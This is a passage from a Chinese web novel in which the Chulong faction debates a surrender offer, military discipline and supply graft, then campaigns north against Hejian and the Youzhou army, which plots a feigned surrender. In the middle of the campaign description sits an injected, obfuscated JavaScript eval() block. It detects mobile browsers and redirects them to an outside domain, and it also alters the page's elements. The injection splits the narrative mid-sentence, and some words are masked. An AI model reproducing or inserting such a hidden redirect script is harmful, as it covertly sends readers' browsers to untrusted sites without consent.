这话一出口,窦立德等人即刻放弃了争论。 “李龙头说得好。”徐世英旋即给出定论。“不管如何,咱们都得继续完成之前的部属,以在河间周边发动大战为前提来做进军。” “那就没什么可说的了,之前的争论也都无稽。”窦立德主动认了错。“只是,军事归军事,咱们也得说清楚,认不认他的条件?他答应我们的大部分条件,却坚持要留在河间到底行不行?” “大战在即,不要拖延,举个手吧。”张行抬手以对。“就我们几位,大行台四人加在场的四位龙头……快决快定……同意的举手。” 说完,张行直接举手。 但出乎意料,只有一个柴孝和和雄伯南举手赞同,其余五人,陈斌、徐世英、李定、窦立德、魏玄定,全都反对。 “那就不答应。”张行催促道。“回信给谢总管,让他说清楚,薛常雄本人必须离开河间,其余条件不变,他本人也依旧以三月五日为准撤离河间……不过这么一来咱们要不要更改军事部署?” “不用。”李定立即摇头。“原来计划就好……不是说不能改,而是现在改,后勤部署反而要浪费。” 众人都默然,随即,还是张行说看向了一旁正在奋笔疾书做记录的文书和参军们:“说起后勤浪费……是不是有个议题正好是这个事情?” 被看到的一名年轻人,赶紧从座位中起身,要将一页表格交给张行,却被张首席直接抬手制止:“许敬祖是吧?你来叙述议题。” “是。”许敬祖咽了口口水,却又赶紧看着手中表格来言。“回禀首席与诸位副行台、龙头,自动员以来,许多物资转运到目的地的火耗都比大行台制定的成例要高,靖安部和帮务部牵头去查,发现一些的确是属于路线拥挤,火耗超出寻常,但有一些也的确是属于贪墨、浪费……目前查实的案例一共有二十三件,严重的有五件,牵扯到鲁红月、郭敬恪、关许三位头领,十七位县令、队将一层的舵主……” “该裁撤裁撤,该杀头杀头。”李定明显有些不耐起来。“军法何用?” “不可以。”徐世英立即驳斥。“我看过表格,这些人里面,**的少数,更多的是人第一次组织这么大规模的后勤转运,脑子发热发昏发懵……而且,这三位头领和十七位舵主,都是在物资转运的关键位置上的人,如果全都裁撤杀头,反而会耽误马上要开始的战事。” “所以我说‘该’。”李定半点情面不留。“这些人没有副手吗?没有属吏吗?之前塞了那么多军官进去,现在又没有了?真有要害的人员,暂时忍一忍,其余依然能杀!徐大郎,这般袒护,无外乎是要顾忌情面,想要维护所谓帮中人事罢了……可这般行止,是宰相作风,却不是元帅的做派,你莫非是下定决心不上战场了吗?” 徐大郎面色一僵。 “首席。”陈斌黑着脸插嘴道。“这件事情大行台是有责任的,我们也没顾虑到这么多物资人员一起转运,会相互影响那么深……现在的情况是,即便靖安部与帮务部查的清楚,可真要是定罪,还是要以我们颁布的统一火耗来算计,那样的话,未免让人心不服。” “说的对,火耗的事情是我们这次没有定好,不能全都推给下面人。”张行忽然开口。“这样好了,确定是**的,军法从事,杀之以儆效尤;因为发慌导致浪费的,按照民法从事,而且可以戴罪立功,以申斥、罚俸、降田为主,不能牵连过广……” “这是妇人之仁。”李定无语至极。 “此时就需要一些妇人之仁。”当着许多人面,张行毫不犹豫驳斥了回去。“三征的事情才过去几年?河北河南的士民对这类事情格外敏感……这是黜龙帮第一次主动全面动员,必须要考虑人心,不能给两河士民一种咱们跟大魏一样在徭役上严苛的印象,要慢慢来,把人心养起来再行严肃之事,更不要说,这次确实大行台也有错。” 不止是李定,许多人都明显一愣。 所有人,包括当年为这个事**逃到高鸡泊的窦立德,都没有想到这一层……故此,窦龙头忍不住多看了张首席好几眼。 “那就这么做吧,还有什么事?”李定顿了一顿,选择了屈服。 “有一件事,需要你来参详。”张行认真道。“是军纪的事情……你记得咱们之前说过吧?” 李定想了一想,记了起来:“你是想借此机会重申军纪?” “对。”张行认真道。“我让徐大郎制定了一个简单的纪律条例,主要是强调军纪中不得侵占、劫掠、**、滥杀无辜的一面,同时还要要买卖公平,对人和气……你觉得可行吗?” 李定看了看张行,又看了看徐世英,最后扫过殿中几人,给出了答复:“可行是可行,但还是那句话,指望着有了这个,就能提升战力,就能战无不胜,那是哄人的,甚至对一些部队来说,这么严肃军纪反而会使他们战力先有些下降……最大的用处其实是在攻城略地时,保存地方的元气地气,方便后续接收使用。” “那就足够了。”雄伯南听到这里直接表态。“我是赞同这个军纪条例的……咱们既是要取河北为根基,如何能让河北地方上的百姓视我们为仇人?” 其他几人也都点头,但思路却未必一致,有人是认同雄伯南这套理论的,还有人是认可李定的说法,觉得这样有利于地方上的接收。 而张行也点点头,坚定了自己的想法。 其实道理很简单,现在的情况是,在不能确保信息传播的效率和规模的情况下,战争中道德更高尚的一方未必能借此获得多少战略战术上的优势,这就导致了很多时候封建时代的战争并不符合正义必胜的规律。 坏人、背信弃义者得了天下的,或者一时得势的,数不胜数。 但是,回到黜龙帮这里,黜龙军的一个巨大优势时,得益于义军的身份,他们走到现在居然能够一直顺水推舟式的维持较好军纪……之前张行和李定讨论过的,一开始是因为在东境本乡本土作战不好抢,然后是刚到河北白茫茫一片没法抢,而到了接收淮北地区时,张大首席就开始有意识控制和宣传军纪,并鼓吹得民心者得天下了。 现在,马上要大举进军河北,没有理由放弃这么好的军纪传统。 “既然大家都同意,就把这个军纪条例传达下去。”张行下了定论。“不过,我还是要多说两句……军纪严明有利于接收的道理是对的,天王说帮里跟地方百姓一体的道理也是对的,但还不止,还要加上一个范围……咱们黜龙帮既然是以天下为己任,便要有接收全天下、经营全天下和视天下百姓为一体的心思,所以更要强调军纪……要给下面的人尽量说通。” “要不要设个部,专职此类事?”雄伯南心中微动。 “道理上是应该有,我也想过许久,但问题在于,这个部如果用人不善,反而会起反作用,所以在没有好人选,后方不够稳固的情况,我觉得可以缓一缓。”张行果然早有考虑。“等河北全占了,人心稳定了,从地方上的律法宣讲开始,慢慢的立起来一个部。” 话到这里,众人都不再多言,原本就有些空荡的殿中更加气氛古怪。 “还有什么吗?”停了片刻,张行追问道。 无人应声。 “那好,我最后再加一条,不管薛常雄是诈降还是真降,最后这四五日内,都要坚定的传达下去,不是告诉我们,我们反而要警惕,是要告诉整个河北人,告诉天下人,尤其是河间人,他薛常雄是要降了。”说着,张行站起身来。“除此之外,便无他事,大家回去歇息吧,四日后按计划出兵!” 在场之人如释重负。 四日后,三月初五,谢鸣鹤一大早便离开了河间城,甚至还得到了河间大营三号人物、得到了“大头领待遇”的高湛的亲自护送,而与此同时,布置妥当的黜龙军自东向西,在长达近四百里的战线上一起发动进攻,向北推进。 战线大略上被分为五段: 最东段不需要渡河,唯一的战略目标是渤海郡东段唯一的县鲁城,黜龙军也只出动两个营; 紧接着,是自长芦到弓高这一线,一共有八个营,由窦立德统一指挥,他们当面的河间大营防线理论上是最坚固的,这是因为清浊漳水两条大支流在这附近迅速收紧合流,偏偏两条支流中间还有长芦和弓高两座坚城,更重要的是浊漳水后方便是河间腹地……如果是按照之前的作战考虑,他们的任务仅仅是夺取弓高和长芦,但现在需要进一步往北渗透,控制浊漳水; 再往西,就是信都郡了,这里是河间大营地盘最向南突出的部分,被三面包围不说,郡中精华还都在清浊漳水中间,其中郡治长乐,更是冯无佚的老家,上上下下都有接触,而黜龙帮选择将这一段当做主力突破口,近二十个营汇集于此,就是要从此处突破浊漳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168005|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,然后顺流而下,直趋河间城; 第四段战线在北面,由李定带领,大约六七个营,加上冯无佚在赵郡的势力,他们的任务是占据恒山郡、博陵郡、信都郡、赵郡四郡汇集处的要害地点,然后从这里开始沿着滹沱河顺流而下,既是呼应主力部队包围信都,也是穿插,更是要对北面幽州大营进行预警的意思……实际上,主力部队二十个营的第一阶段核心任务,就是突破浊漳水,迅速北上到滹沱河与李定部连成一片; 最后一段战线在恒山,主要是防守、监视代郡方向,毕竟恒山王臣廓、代郡二高还是客观存在的割据势力,尤其是王臣廓已经正式投奔了白横秋,现在黜龙帮尝试扫荡河北,谁也不知道他们什么时候以什么立场出现在战场上。 而四百里战线上一起推进,居然顺利的过分——河间南部完全没有设防,很多戍卫者都茫然的遵从黜龙军的要求,打开城门,信都南部的地方城寨更是纷纷主动倒戈卸甲来降。 一日内,鲁城、长芦、弓高、阜城、脩县、枣强、南宫、武邑诸城纷纷入手,信都郡治长乐也开门投诚,浊漳水以南,瞬间变色,只有长芦境内的一座小军寨明确爆发了战事,但也被优势兵力迅速摧崩。 这个时候,伴随着河间城内明确的信息传递,黜龙军上下已经有很多人相信薛常雄是真要降了,河间本地人更是对此深信不疑。 三月初六,黜龙军前锋渡过浊漳水,速度放缓,但这日晚间,中央主力部队的先锋贾越营还是与北面穿插部队中的苏靖方营在鹿城东面取得联系,而东线的窦立德部也谨慎夺取了景城,并且未遭遇反抗。 当晚,张行将大本营放在了浊漳水北岸的衡水。 三月初七,这个时候他们已经知道,河间城内汇集了河间大营的主力近三万众,其余地方是真没兵……于是黜龙帮主力在东线窦立德部,北线李定部的策应下,大举东进,当日便连续夺取了下博、武强、鲁城,信都全郡入手。 三月初八,黜龙军主力部队前锋刘黑榥营夺取河间郡乐寿城,李定部房彦释营夺取河间郡滹沱河南岸的饶阳城……须知道,乐寿城在河间城正南,不过四十余里,饶阳城在河间城西南上游,不过五十里,而之前窦立德部夺取的景城在河间城东南,不过六十里。 三座城连成一个半圆,将河间城完全包围,而且此次北伐三部主力,总计近三十五个战兵营,两个军法营,也都连成一片。 到此为止,局势好的不得了,河间完全可以称得上是唾手可得。 其实,所有人,不管是黜龙帮里的还是对面,河北上下兵没有谁怀疑黜龙军此次北伐夺取河间的成功概率,只是事情到了眼下,到了黜龙军给薛常雄的最后通牒当日,居然就已经完成了对河间的最后包围,委实顺利的过头。 故此,即便是黜龙军高层中,也有许多人卸下了对薛常雄诈降的怀疑。 但是,真正有大局观的黜龙军高层,还是在保持警惕,因为现在还没有幽州军主力的消息,对方会动员多少部队,从哪里来,都还不确定。 包括有没有可能是黜龙军进军太快,打乱了幽州军的部属,对他们产生了某种震慑效用,不敢来了,也都不好说。 战争迷雾仍没有散去。 三月十日,黜龙军向河间发送文书要求他们出城改编的同时,三部主力一起前提,张行也将大本营移动到了乐寿。 当日晚间,他们接到河间城讯息,表示愿意出城接受改编,但还是要求黜龙帮承诺将薛常雄留在河间,并且要求张行亲自过去参与改编,给予承诺。 这一次,黜龙帮的回信一如既往,不允许薛常雄留在河间,不过张行张首席会亲自过去参与改编……这是因为从明日开始,黜龙军中线主力和东线主力合计二十七个营,外加两位宗师在内的修行高手将会一起出动,往河间城下而去,预计三月十二日就会抵达河间城下。 届时,不管薛常雄葫芦里卖的什么药,什么诈降真降,都会一并解决。 不过,就是当日夜间三更时分,宿在乐寿县县衙后院的张行被白有思提前推醒,示意有不速之客。 张行翻身坐起,披上衣服,走出来,正迎到徐世英直属的机要文书许敬祖匆匆进来后院,他是文书-参谋体系中的人,自然可以直入,而他见到张首席早有准备,也不诧异,只将一封文书送上。 张行打开来看,面色也没有任何变化。 算是个要紧的消息,但也不是那么要紧——在确定黜龙军大举动员北伐后,东都的司马正坐不住了,立即开始了东都北面横跨大河的河阳城体系的修复,尤其是开展了河阳城北岸分城和河上浮桥重建工作。 这很麻烦,因为这个工程是东都针对河北防御工作的要害所在,是这个世界历史上东齐支配东都的重要工程,是得到过验证的,而一旦修筑成功,再加上司马正的修为,那真就是固若金汤了。 但没办法,双方现在是停战和约期间,黜龙帮更是要北伐扫荡河北,人家这么趁你全面动员北上后开工,更没办法。 所以,只能是面无表情的看了,然后再回去睡觉。 好在春末困乏,很快就再睡着了,但不过又睡了两刻钟,白有思则再度推醒了张行,并直接提醒:“有人来了,好像是李四郎和张十娘。” 张行不敢怠慢,再度翻身坐起,却并没有什么惊疑之态,因为他晓得,李定这个时候来的合情合理,肯定是关键时候到了,幽州军露头了。 果然,夫妇二人一起起来,穿好衣服,等在院中,不过片刻,负责城内戍卫的头领郭敬恪和秦宝一起亲自来通报,然后负责北门戍卫的头领韩二郎也引着李定与张十娘进了院子。 过了一会,被惊动的雄伯南、徐世英二人也赶来,小小院子,挤得满满当当。 “幽州军出来了。”李定眼见二人进来,重复了一遍之前的言语。“大量在滹沱河西北面的高阳、博野一带出现,哨骑努力清点,目前在高阳以南的估计有一万骑,两万步,幽州序列中的二十五将直接看到的有十七个,副总管魏文达出现在高阳,再往北不敢去了,但料敌从宽,只当他们倾巢出动,后面还有罗术在内的两万人,总计五万众。” 雄李二人各自凛然,因为这便是幽州军主力到了,甚至就是倾巢出动也说不定。 “如此看来……薛常雄是真要降了?”雄伯南是河北人,熟悉地理,很指出一个要害。“滹沱河过了高阳再往下游走就是鄚县,鄚县过滹沱河到东南面来是狐狸淀,那里很难过几万人的大部队,换句话说,他们主力从滹沱河北岸过来,就很难及时渡河支援到南岸河间这边来了。” “直接从高阳渡河到河间不是更利索?”徐大郎对此不解。 “我不是这个意思,我是说,如果薛常雄是诈降,那幽州军应该藏在河间身后才对,应该早就渡过滹沱河了。”雄伯南稍作解释道。 “还是不对,便是薛常雄诈降,幽州军也只会如眼下去高阳的,因为这么多主力部队,一旦渡河,就相当于把自己扔在了滹沱河与漳水之间的套筒里,然后一旦战败,想成建制的逃跑都难。反之,若是在滹沱河北侧战斗,即便是战败,也能从容撤退。”徐大郎继续驳斥。“罗术这种人,肯定不会把家底都压到薛常雄头上的。” “那……那就是说,眼下只能算幽州军支援到了?”雄伯南蹙眉道。“不能说明别的?” 徐大郎欲言又止,却又看向了李定。 张行也看向了李定。 李四之前一直在看头顶半圆双月,此时忽然低头来笑:“其实,这些都无所谓,我来这里也不是说这些的……首席,张三郎,现在有个战机,但要你速速决断,天亮就行动。” “什么战机?”张行好奇来问。 “覆灭幽州军的战机。”李定面色如常。 小院里忽然一凛,一时只剩春夜虫叫,然后不知道哪位用的手段,一股真气拂过,虫都不叫了。 “具体来说。”张行顿了一顿,提醒道。 “很简单,我们最担心或者说最坏的局面就是幽州军跟河间军联手,不得不打一场大的会战,其次是分别与河间军、幽州作战攻坚,而现在,不管是河间真降假降,它都自己寻了个口袋把自己给装进去了,但只是个暂时的袋子,一两日的袋子。”李定似笑非笑道,其余人也都心中微动。“而现在,如果我们什么都不管,继续往河间走,幽州军很可能会强渡,万一到时候薛常雄是诈降,或者临时又改了主意,我们就要面对最麻烦的局面了。对不对?” “所以与其如此,不如主动觅战?”雄伯南俨然听明白了。“河间不知道该不该打,反正幽州军一定要打,所以去打幽州军?他是三万是五万,都无妨,反正都要打对不对?” “不止。”李定笑道。“我们还可以顺理成章的欺骗河间方向,天一亮,只对所有人说往北走一走,好助我李龙头震慑幽州军,对河间则继续发信,一边问他幽州军是怎么回事,一边继续坚持,依旧是后日首席到城下,大后日整编……这样咱们就有了一天的时间差,明日下午就能渡河,全军主力渡河,扔下河间这里,汇集兵力与幽州人决战,既能甩开河间军,也能打幽州人一个措手不及。” “我赞同。”徐大郎终于也再开口。“须知道,军法至高至妙者,无外乎出其不意攻其不备罢了,此战关键就是要快,只要今夜定下来全军调头北上的决心,然后直接北上渡河,后日就开战,便得了三分胜机!这等大战能平白得三分胜算,还有什么可说的?” “不是后日开战,是明日下午渡河,晚间就发动突袭,要接连不断,打一场能发挥我们营将制度的大乱战!让他们想会战都会战不起来!”李定稍作更正。“实际上,我准备明早就让我部先渡,装作防御模样,也是趁机隔绝视野,防止他们的哨骑看到我们渡河……这不会引起怀疑的。” 无人应声。 “从哪里渡河合适?”过了片刻,张行忽然来问。 “芜蒌。”李定面色如常,缓缓而言。“当年祖帝身死,继业者何止五六人?唐皇彼时正随祖帝在掷刀岭,军中生乱,他只带十余人南下,来到滹沱河的芜蒌,遣人去看时河水还没有结冰,结果到了河畔已经结冰,渡河之后,冰又化开,追兵只能折回。随即,唐皇得到信都守将的协助,一路南下,归东都,入关西,整合旧国,最后胜出……从这里渡河,吉利,位置也对,就在饶阳往东北面十几里。” “位置对就行。”张行冷笑道。“至于唐皇故事,听起来他随从中有一位寒冰真气修炼的不赖……不知道能不能比得上我?” 其余人想笑,却居然笑不出来。 而果然,下一刻,张行直接下令:“我为一军主帅,有战前自决之权,就不和大家商议了……我意已决,明日渡河!李定李龙头迅速折回滹沱河,准备渡河事宜,现在召马围马分管过来,连夜制定具体行军路线与计划,其余人各回各营,不得泄露。” 说完,直接起身回到屋内睡觉去了。 众人散去,翌日,天一亮,部队如常起身,中路主力就在乐寿城周边的军营中大举埋锅造饭,用完饭后,携带一顿干粮与水,便起兵北上。 只是路线有点偏西,据说是幽州军来到滹沱河对岸,几十里的地方,需要加强防备。 行军到下午,最先到滹沱河畔的贾越忽然接到军令,不许停留接管河防,接着已经渡河的李定所督诸营,继续从芜蒌渡的浮桥渡河北上。 与此同时,最靠近的河间城的刘黑榥也接到了一个军令,看完之后,浑身冰凉——他这个先锋,居然沦为了疑兵!却又无可奈何,只能在勒着马打圈。 太阳继续往西面偏去,而阳光下的滹沱河则奔流不停。 时值春末,河水不急也不缓,而芜蒌这个地区,顾名思义,本身是一片长满了杂草的洼地,河流渗入两岸,流速更缓,所以才是历来渡河的熟地,更是渡河起浮桥的好去处。 只能说,李四郎做惯了行军修路的活,还是有些东西的。 张行来到这里时,此地已经起了四座浮桥,而且还在继续增加,主持这个工作的,居然是牛河这位宗师,这位很可能是全天下浸淫长生真气前三的存在,此时使出真气来,那些临时寻来的残缺建筑材料好像平白多了绳索一般,被牢牢联结成一体。 张行见识过这位的类似本事,不过当时人家在修曹彻的观风行宫,那座能移动的大殿。 要是那座大殿还在就好了,往滹沱河里一沉,就是一座大浮桥。 洼地中还有些台地,现在支起了大锅,正在煮粥,主持这里的是冯无佚,民夫也多是赵郡的居多……心思有些繁乱的张首席转过身去,先带领着几十个准备将,也就是所谓踏白骑一起喝了粥。 而与此同时,已经有军士开始携带一些临时搜寻的零碎木料、草垫上了中间一条浮桥,将这些漂浮杂物放在浮桥的西侧。 又过了片刻,张首席不再犹豫,他借来徐大郎手中惊龙剑,身后秦宝率领十几名踏白骑跟上,白气随即便在河上升起。待到他过了这条并不长的浮桥,浮桥周边早已经结冰。 于是其人复又从另一条浮桥上走回,如此往来数次,数道浮桥便已经封冻成一体。 就这样,傍晚之前,雄伯南也过了河,并在张行的要求下,将一面济阴被服厂年后绣出来的新大旗给亲手打了起来,张行则依旧带着他那面红底的黜字旗,而这是一面挂旗,规制更大,基本上跟曹彻的三辉四御旗一般规制,很显然,这是代表了整个黜龙帮的帅旗。 不过,旗上并没有三辉四御的纹路和图像,反而只书了四个大字——“替天行道”。 大旗张开,随风摆动,立在了芜蒌地区的滹沱河北岸。 此时,加上李定所督八营,黜龙军已经渡过了十九营,所有人都晓得,箭矢已经离弦,不管能不能中的,都要一往无前了。 (本章完) 第五十一章 千里行(5) 春雷滚滚,浊漳水北岸,一群人狼狈逃窜,以至于那面红底的黜字旗都被弃置在污泥中,为人践踏。 “浮桥被烧,首席可还能施展真气封冻住河面?”一人焦急来问,乃是黜龙帮龙头李定。 “不够了。”黜龙帮首席张行虽然狼狈,却也冷静。“事到如今,咱们不要顾忌追兵了,一起腾跃起来,分路逃回去吧!” 几人面色惨白,但几乎是一瞬间,包括李定在内,几名头领却只是一咬牙,便不顾一切腾跃起来,抢先遁走,这一遁,直接引来身后战场的注意,一柄巨大的金刀从天空凭空出现,仿佛斩破了虚空而出一般,继而显现在了浊漳水之上。 下一刻,金刀斩落凡尘,居然将浊漳水给凭空斩断,后续水流继续流淌,水位立即下降,而上游水流却在半空中聚积起来,水位越来越高,却不往两侧散去,端是神奇。 这个时候,一人闪在近乎绝望的张行几人上空,冷冷来笑,其人言辞狠戾,明显是在发泄:“张行,你可曾想到我临阵突破大宗师?可曾想到我是诈降?可曾想到幽州军会倾巢而出渡河来援?而你现在还有几分真气,可还有生路?白三娘被魏文达引诱到巨马水,可还能赶回来救你?” 张行抬起头看向空中那人,面无表情:“薛常雄,你莫要觉得今日除掉我便能高枕无忧,陈斌在邺城,窦立德更是全军回去,他二人精诚合作,你迟早还是要死在这河间!胜的还是黜龙帮!” “就凭他们俩?!一个堪称家奴的属吏,一个被我打的只能在高鸡泊吃水草的草寇,还能胜我?更不要说,人尽皆知,这二人水火不容!”薛常雄只觉得荒唐。 “同样一人,在你手下只是一私人属吏,在我手下是管着二十余郡,执掌泰阿的相公;同样一人,在你眼中是高鸡泊吃草的草寇,在我眼里是能团结整个河北的义军领袖:便是他们有所不合,可你既要除我,我虽死,志气犹存,他们也必然能摒除前嫌,精诚团结,卷土重来!”张行站在那里,丝毫不惧。 薛常雄大怒,血涌起来,金刀竖起,直直刺下,将那张行当场斩做两断,犹然不足,只在那里破口大骂:“偏你们这些人能知天机晓人心是不是?!我看你还能不能晓?!” 喝骂之后,气血落下,不知为何,反而觉得不安起来,乃是心里信了个七八分,自己迟早还会落在窦立德和陈斌这两个曾经对自己来说算是脚下烂泥的人手里。 然而,这种心忧难平刚刚起来而已,忽然间,随着脚下那张行的身体生机断绝,天地陡然变色,风雨雷电冰雹日月光晕齐现,薛常雄面色微动,心中醒悟过来,这张行果然是天命之人,自己此举竟是逆天而行……但似乎又没有多少惊讶? 惊惶之下,一阵疾风卷着劲雨吹来,竟然穿破其人护体真气,激的这位新上位的大宗师一个冷颤,然后从榻上惊醒了过来。 喜怒交加,竟只是一场梦。 然而,出了一身冷汗的薛常雄心知肚明,自己便不是如梦中成了大宗师,也是个老牌的宗师,如何不晓得什么叫做心血来潮? 做这个梦,也就是说明事情要有天大的变化,自家的命运很可能马上就会被决定了。 但是,只在榻上喘了两口气,听着外面虫鸣,薛常雄复又觉得无奈起来……因为不要说是他感应到了,便是这城里城外随便一个队将都晓得决定命运的时候到了。 现在是三月十一的深夜,前日开始,河间周边最近的四个县已经有三个县落入黜龙贼手里了,昨日黜龙军各部主力就已经就位从而完成半包围,今日早上就已经大举出动,明日晚间就能来到河间城下,而幽州军主力也出现在了滹沱河对岸几十里外的地方,要想支援也就是明日的事情了。 生死荣辱,就是明日,且只能是明日。 想到这里,薛常雄还是勉强振作起来,便从榻上起身,披着衣服来到屋外,本想遣人去喊慕容正言的,但犹豫了一下,到底是决定不去打扰双腿残废的对方,反而只喊来了幼子薛万全与义子罗信,重新复盘明日的计划。 二人此时还没有睡觉,甚至有些振奋之态,见到薛常雄后也是一副昂然姿态。 “父亲大人放心,明日早间大会,只摆出安抚的姿态,先说清楚道理让大家同进退起来,然后上午放开府库,大肆赏赐,下午告知全军,黜龙贼不满我们放空府库,要所有人交还财帛,还要十一抽杀……鼓噪起来后,就一起出城。”薛万全先行来言。“计划种种,绝不会出错,明日早间鼓噪的人我也刚刚找好了。” “明日中午之前,幽州军所有步兵就会抵达滹沱河,从我们留好的渡口过来支援我们,出现在我们的侧后方,而两万最关键的骑兵,会利用机动优势,绕过今日渡河的李定部,从饶阳后方的安平渡河,进行一场大侧击。”罗信也随即叙述道。 “李定卡在饶阳是有缘故的,滹沱河在饶阳那里恰好是支流汇集点,往东只有一条主干,往西却有足足三四条支流……从安平渡河,要连续穿过这几条支流,会不会来不及?”薛常雄象征性的对之前早已经烂熟于心的计划提出一点质疑。 “不会的。”罗信都是满满信心。“那几条支流我亲自去侦查过,春日水没涨起来,滹沱河到河间这段都能搭浮桥**来,那几条支流的浅滩完全可以让骑兵泅渡!” 话到这里,罗信顿了一顿继续宽慰:“义父大人放心,我马上就走,去滹沱河北面找到我岳父魏文达,亲自为他的骑兵带路……便是退一万步说,那几条支流恰好今夜水涨,我也能及时带他们回转,从河间城北面渡河。” “不错。”薛万全也赶紧插嘴。“父亲,义弟这般做便是万全之计了,你不必忧虑。” 薛常雄本想再说些什么,但听到万全之计之后反而放弃了讨论的心思……因为他很清楚,一开始就清楚,哪怕是计划完全得到施行,最后决战也不过是三分胜算。而实际上,这个计划过程必然会出现**,幽州军肯定不能及时、完全的到位,河间大营明日重整人心反击过程中肯定会出现人心离散,出现指挥不畅,出现临战逃脱与倒戈。 哪来的万全? 唯独,战争是有自己法则的,一旦开始运行起来,就会抛弃一些战争外的东西,所以黜龙军也不可能万全,总能给他留下一搏的机会,所以才想着打一仗,拼了命打一仗,以求不受辱罢了。 可是现在,现在自己的儿子和义子还想着万全,分明说明他们对战争本身的看法幼稚到可笑的地步,也让薛常雄真切产生了一丝动摇……自家是看的清楚,定了决心,但真要为一己之念,坏了这些年轻子侄的前途与性命吗? 他们知道个什么呀? 片刻挣扎后,薛常雄强压种种心思,看向了自己还算喜爱的义子罗信:“既是如此,阿信现在就走吧,务必随幽州军骑兵主力行动。” 罗信不敢怠慢,只一拱手,便匆匆而去。 且不管薛常雄今夜如何难再眠,只说罗信出了城,打马飞奔,为了验证河间城北面浮桥,他甚至没有选择腾跃过河换马,而是亲自于夜间打马走桥,甚至还反复在这几座搭好的浮桥上反复往来了几次,这才继续北上。 此时时间还没来到三更。 事实上,当罗信抵达博野城东十五里的一处市镇内,见到幽州大营的前都督、振威大将军,昔日十八骑出身的骑军副帅齐红山时,正好算是到了三更时分。 而让罗信感到诧异的是,虽然充当军营的整个城镇陷入到了沉寂,可这位出身红山、身材高大的主将却居然没有入睡,反而端坐炯炯,充作中军大帐的那个高坡上的小院子也灯火通明。 “少将军不知道,那李定兵少,渡河后明明只该防御,却居然反其道而行之,主动朝我们发起了攻击,西南面冯、韩两位将军那里都有哨骑来报,说是遭遇了夜间突袭。”见到对方主动来问,齐红山叹了口气,便告知了原委。“只能说,这李定果然不是个善茬子,这招以攻为守,确实厉害,咱们明日想甩开他就难了。” 罗信脸色难看到极致……眼下局势当然还没那么糟,甚至算是在情理之中,但联想到刚刚自己对义父所言的“万全”二字,这情理之中的局势,却反而更加让人感觉羞耻起来……哪来的万全? 情理之中的局势都没有推出来。 更何况,只说军事,就凭人家李定这一手,明日绕行饶阳走安平的大迂回、大侧击会不会受阻?便是没受阻,也会被缠下来许多兵马吧? “少将军不必这般忧虑过度。”齐红山见状晓得对方心思,便来安慰。“按照之前的情报李定此次所督的只有七八个营,其中两个营还留在了上游,而且还都是步骑混合的营头,明日真动起来,他们拦不住我们许多人,大队骑兵还是能过去的。” 罗信心知肚明,三更半夜的,这种军事**自己根本没资格掺和,便也胡乱点了头,却又忍不住来问:“冯韩两位叔父应该能拦住李定吧?不会再出乱子了吧?” “我不想瞒着少将军。”齐红山沉吟片刻,却是干笑了一声。“若是觉得老冯老韩就能保稳顶住了,我何必这般警惕起来?莫忘了,人家还有三位宗师呢!” 灯火通明的大帐中,罗信心下一沉。 “雄伯南早年就是河北第一高手,别人不晓得,我跟魏将军却是他的熟人,认识了快二十年,他的修为、身手只在魏将军之上;牛河牛督公更是早年公认的宗师第一,也没听说人伤了,不行了;至于那个白三娘,传的有些玄乎,但是按照传言打个对折,刺龙是假的,可杀了东夷人的宗师总做不得假。”齐红山如数家珍的同时明显有些无奈。“薛常雄是主帅,河间大营又人心惶惶,他只能留在河间城里,人家黜龙帮就没这么多限制了……若是人家认定了咱们幽州兵是最大的威胁,让三位宗师带队,直接破了冯韩两营,也是没奈何的,救都没法救……不过,韩将军的营寨离得近,夜间使用宗师那个层次的真气外显,应该能瞅到……但现在还没有。” 罗信只是胡乱点头,刚要再问什么,却忽然一愣,然后几乎与那齐红山一起看向了市镇的西南面,然后齐齐色变。 “怎么说?”罗信紧张来问。“是叔父安排的防卫部队回来了?还是冯韩两位叔父谁撑不住撤回来了?” “立即点火。”齐红山没有理会罗信,而是直接朝院子里的其他人下令。“让集镇里的士卒按规制依次起身披挂,顺序不能乱,将战马赶到中军这里一部分,分到各部各处一部分,只留几百匹在战马留在市镇北面……让王汉去做准备,等前面一交战他就直接带人上马,绕后突击!” 罗信看到对方应对妥当,稍微放下心来。 而齐红山也终于得空对罗信说话:“我只派了哨骑,没有成建制的部队撒出去……不是败兵就是贼军夜间迷路漏过来一两个营,但也有可能是贼军不愿意遮掩了……但不管如何,少将军你都赶紧走吧!我之前就向魏将军请了援兵的,你顺着官道往高阳那边走,遇到援军就让他们速速来支援。” 罗信当然不会矫情,但想了一想,他还是决定稍待:“我再等一等……看看是不是漏过来的小股贼军?” 齐红山立即颔首,也不多言。 旋即,整个大营,或者说整个市镇有条不紊的活动开来……灯火被点燃,市镇被照亮,人员战马开始往来不断,宛若一个巨大的活物于夜中苏醒过来一般,而随着一道又一道军令下达,外围阵地和防区也被建立了起来,就好像活物开始披甲执锐一般。 罗信没有施展真气,只是跟随齐红山一起手动爬上了这个充作中军大营小院的高墙,彼处有一个临时搭建加高的望楼。登上此处,便死死盯住了西南面……而片刻后,彼处就好像在回应突然亮起的幽州军驻地一般,也在黑幕中开始亮起灯火,而且接连不断。 须臾片刻,竟连成一片。 很显然,这是成建制的黜龙贼来了,而出乎意料,来到滹沱河北就渐渐不安的罗信目睹了这一幕后反而松了一口气:“只是一个营……未必是漏过来的,更像是故意来惊扰和撕咬,防止我们支援的。” 齐红山没有评论这个判断,反而催促:“少将军可以走了,速速往北面去找援军!” 罗信这次没有再拖延,也没有遮掩修为,一个腾跃往镇北而去,来到彼处,寻到一匹马,就飞也似的顺着北面官道去了。行了十数里,身后喊杀声反而渐大,然后果然迎面撞上一彪人马,正是来援的幽州军新锐侯君束及其带领的两千幽州骑兵,乃是因为屯驻距离较近,得了高阳魏文达的军令而来。 罗信本就是幽州大营土生土长的少将军,此时亮明身份,很快就见到了侯君束,然后直接下令:“侯将军速去!贼军只有一营兵,配合齐将军一战可成。” 侯君束得了言语,虽对对方擅自命令自己不爽利,可晓得前方军情有利,自然也心动,当即便应了一声。 